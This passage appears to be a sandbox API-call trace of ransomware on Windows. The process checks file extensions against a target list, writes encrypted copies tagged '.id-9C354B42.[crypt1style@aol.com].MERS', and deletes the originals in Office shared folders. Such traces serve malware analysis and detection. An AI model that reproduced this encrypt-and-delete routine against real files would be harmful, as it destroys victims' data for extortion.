(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0045.098] lstrlenW (lpString=".jpg") returned 4 [0045.098] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0045.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0045.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0045.099] lstrlenW (lpString=".doc") returned 4 [0045.099] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0045.099] lstrlenW (lpString=".docx") returned 5 [0045.099] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0045.099] lstrlenW (lpString=".pdf") returned 4 [0045.099] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0045.099] lstrlenW (lpString=".xls") returned 4 [0045.099] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0045.099] lstrlenW (lpString=".xlsx") returned 5 [0045.099] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0045.099] lstrlenW (lpString=".ppt") returned 4 [0045.099] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0045.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0045.099] lstrlenW (lpString=".zip") returned 4 [0045.099] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0045.099] lstrlenW (lpString=".rar") returned 4 [0045.099] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0045.099] lstrlenW (lpString=".bz2") returned 4 [0045.099] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0045.099] lstrlenW (lpString=".7z") returned 3 [0045.099] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0045.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0045.099] lstrlenW (lpString=".dbf") returned 4 [0045.099] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0045.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0045.099] lstrlenW (lpString=".1cd") returned 4 [0045.099] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0045.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0045.099] lstrlenW (lpString=".jpg") returned 4 [0045.099] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0045.099] lstrcmpiW (lpString1=".emf", lpString2=".MERS") returned -1 [0045.100] lstrlenW (lpString="Genko_2.emf") returned 11 [0045.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0045.100] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=10340) returned 1 [0045.100] CloseHandle (hObject=0x1d4) returned 1 [0045.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0045.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0045.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0045.100] lstrlenW (lpString=".doc") returned 4 [0045.100] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0045.100] lstrlenW (lpString=".docx") returned 5 [0045.100] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0045.100] lstrlenW (lpString=".pdf") returned 4 [0045.100] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0045.100] lstrlenW (lpString=".xls") returned 4 [0045.100] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0045.100] lstrlenW (lpString=".xlsx") returned 5 [0045.100] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0045.100] lstrlenW (lpString=".ppt") returned 4 [0045.100] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0045.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0045.100] lstrlenW (lpString=".zip") returned 4 [0045.100] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0045.100] lstrlenW (lpString=".rar") returned 4 [0045.101] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0045.101] lstrlenW (lpString=".bz2") returned 4 [0045.101] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0045.101] lstrlenW (lpString=".7z") returned 3 [0045.101] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0045.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0045.101] lstrlenW (lpString=".dbf") returned 4 [0045.101] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0045.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0045.101] lstrlenW (lpString=".1cd") returned 4 [0045.101] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0045.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0045.101] lstrlenW (lpString=".jpg") returned 4 [0045.101] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0045.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0045.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0045.101] lstrlenW (lpString=".doc") returned 4 [0045.101] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0045.101] lstrlenW (lpString=".docx") returned 5 [0045.101] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0045.101] lstrlenW (lpString=".pdf") returned 4 [0045.101] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0045.101] lstrlenW (lpString=".xls") returned 4 [0045.101] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0045.101] lstrlenW (lpString=".xlsx") returned 5 [0045.101] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0045.101] lstrlenW (lpString=".ppt") returned 4 [0045.101] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0045.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0045.101] lstrlenW (lpString=".zip") returned 4 [0045.101] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0045.101] lstrlenW (lpString=".rar") returned 4 [0045.101] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0045.101] lstrlenW (lpString=".bz2") returned 4 [0045.101] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0045.101] lstrlenW (lpString=".7z") returned 3 [0045.101] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0045.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0045.102] lstrlenW (lpString=".dbf") returned 4 [0045.102] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0045.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0045.102] lstrlenW (lpString=".1cd") returned 4 [0045.102] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0045.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0045.102] lstrlenW (lpString=".jpg") returned 4 [0045.102] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0045.102] lstrcmpiW (lpString1=".emf", lpString2=".MERS") returned -1 [0045.102] lstrlenW (lpString="Graph.emf") returned 9 [0045.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0045.103] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=116724) returned 1 [0045.103] CloseHandle (hObject=0x1d4) returned 1 [0045.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0045.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0045.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0045.103] lstrlenW (lpString=".doc") returned 4 [0045.103] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0045.103] lstrlenW (lpString=".docx") returned 5 [0045.104] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0045.104] lstrlenW (lpString=".pdf") returned 4 [0045.104] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0045.104] lstrlenW (lpString=".xls") returned 4 [0045.104] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0045.104] lstrlenW (lpString=".xlsx") returned 5 [0045.104] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0045.104] lstrlenW (lpString=".ppt") returned 4 [0045.104] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0045.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0045.104] lstrlenW (lpString=".zip") returned 4 [0045.104] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0045.104] lstrlenW (lpString=".rar") returned 4 [0045.104] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0045.104] lstrlenW (lpString=".bz2") returned 4 [0045.104] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0045.104] lstrlenW (lpString=".7z") returned 3 [0045.104] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0045.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0045.104] lstrlenW (lpString=".dbf") returned 4 [0045.104] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0045.836] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.836] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.610] GetLastError () returned 0x0 [0046.610] ReadFile (in: hFile=0x210, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x621, lpOverlapped=0x0) returned 1 [0046.764] WriteFile (in: hFile=0x1f8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x630, lpOverlapped=0x0) returned 1 [0046.765] ReadFile (in: hFile=0x210, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.765] WriteFile (in: hFile=0x1f8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.765] SetEndOfFile (hFile=0x1f8) returned 1 [0046.765] CloseHandle (hObject=0x1f8) returned 1 [0046.765] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.765] SetEndOfFile (hFile=0x210) returned 1 [0046.766] CloseHandle (hObject=0x210) returned 1 [0046.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0046.766] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 1 [0046.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.767] lstrlenW (lpString=".doc") returned 4 [0046.767] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.767] lstrlenW (lpString=".docx") returned 5 [0046.767] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.767] lstrlenW (lpString=".pdf") returned 4 [0046.767] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.767] lstrlenW (lpString=".xls") returned 4 [0046.767] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.767] lstrlenW (lpString=".xlsx") returned 5 [0046.767] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.767] lstrlenW (lpString=".ppt") returned 4 [0046.767] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.767] lstrlenW (lpString=".zip") returned 4 [0046.767] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.767] lstrlenW (lpString=".rar") returned 4 [0046.767] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.767] lstrlenW (lpString=".bz2") returned 4 [0046.767] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.767] lstrlenW (lpString=".7z") returned 3 [0046.767] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.767] lstrlenW (lpString=".dbf") returned 4 [0046.767] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.768] lstrlenW (lpString=".1cd") returned 4 [0046.768] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.768] lstrlenW (lpString=".jpg") returned 4 [0046.768] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.768] lstrlenW (lpString=".doc") returned 4 [0046.768] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.768] lstrlenW (lpString=".docx") returned 5 [0046.768] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.768] lstrlenW (lpString=".pdf") returned 4 [0046.768] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.768] lstrlenW (lpString=".xls") returned 4 [0046.768] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.768] lstrlenW (lpString=".xlsx") returned 5 [0046.768] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.768] lstrlenW (lpString=".ppt") returned 4 [0046.768] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.768] lstrlenW (lpString=".zip") returned 4 [0046.768] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.768] lstrlenW (lpString=".rar") returned 4 [0046.768] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.768] lstrlenW (lpString=".bz2") returned 4 [0046.768] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.768] lstrlenW (lpString=".7z") returned 3 [0046.768] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.768] lstrlenW (lpString=".dbf") returned 4 [0046.768] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.769] lstrlenW (lpString=".1cd") returned 4 [0046.769] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.769] lstrlenW (lpString=".jpg") returned 4 [0046.769] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.769] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0046.769] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0047.370] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=33009) returned 1 [0047.370] CloseHandle (hObject=0x204) returned 1 [0047.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0047.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0047.370] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.370] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.371] GetLastError () returned 0x0 [0047.371] ReadFile (in: hFile=0x204, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x80f1, lpOverlapped=0x0) returned 1 [0047.385] WriteFile (in: hFile=0x20c, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x8100, lpOverlapped=0x0) returned 1 [0047.386] ReadFile (in: hFile=0x204, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.386] WriteFile (in: hFile=0x20c, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.386] SetEndOfFile (hFile=0x20c) returned 1 [0047.387] CloseHandle (hObject=0x20c) returned 1 [0047.387] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.387] SetEndOfFile (hFile=0x204) returned 1 [0047.388] CloseHandle (hObject=0x204) returned 1 [0047.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0047.389] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 1 [0047.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.389] lstrlenW (lpString=".doc") returned 4 [0047.389] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.389] lstrlenW (lpString=".docx") returned 5 [0047.389] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.389] lstrlenW (lpString=".pdf") returned 4 [0047.389] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.389] lstrlenW (lpString=".xls") returned 4 [0047.389] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.389] lstrlenW (lpString=".xlsx") returned 5 [0047.389] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.389] lstrlenW (lpString=".ppt") returned 4 [0047.389] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.389] lstrlenW (lpString=".zip") returned 4 [0047.389] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.389] lstrlenW (lpString=".rar") returned 4 [0047.389] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.389] lstrlenW (lpString=".bz2") returned 4 [0047.389] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.389] lstrlenW (lpString=".7z") returned 3 [0047.389] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.390] lstrlenW (lpString=".dbf") returned 4 [0047.390] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.390] lstrlenW (lpString=".1cd") returned 4 [0047.390] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.390] lstrlenW (lpString=".jpg") returned 4 [0047.390] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.390] lstrlenW (lpString=".doc") returned 4 [0047.390] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.390] lstrlenW (lpString=".docx") returned 5 [0047.390] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.390] lstrlenW (lpString=".pdf") returned 4 [0047.390] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.390] lstrlenW (lpString=".xls") returned 4 [0047.390] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.390] lstrlenW (lpString=".xlsx") returned 5 [0047.390] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.390] lstrlenW (lpString=".ppt") returned 4 [0047.390] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.390] lstrlenW (lpString=".zip") returned 4 [0047.390] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.390] lstrlenW (lpString=".rar") returned 4 [0047.390] 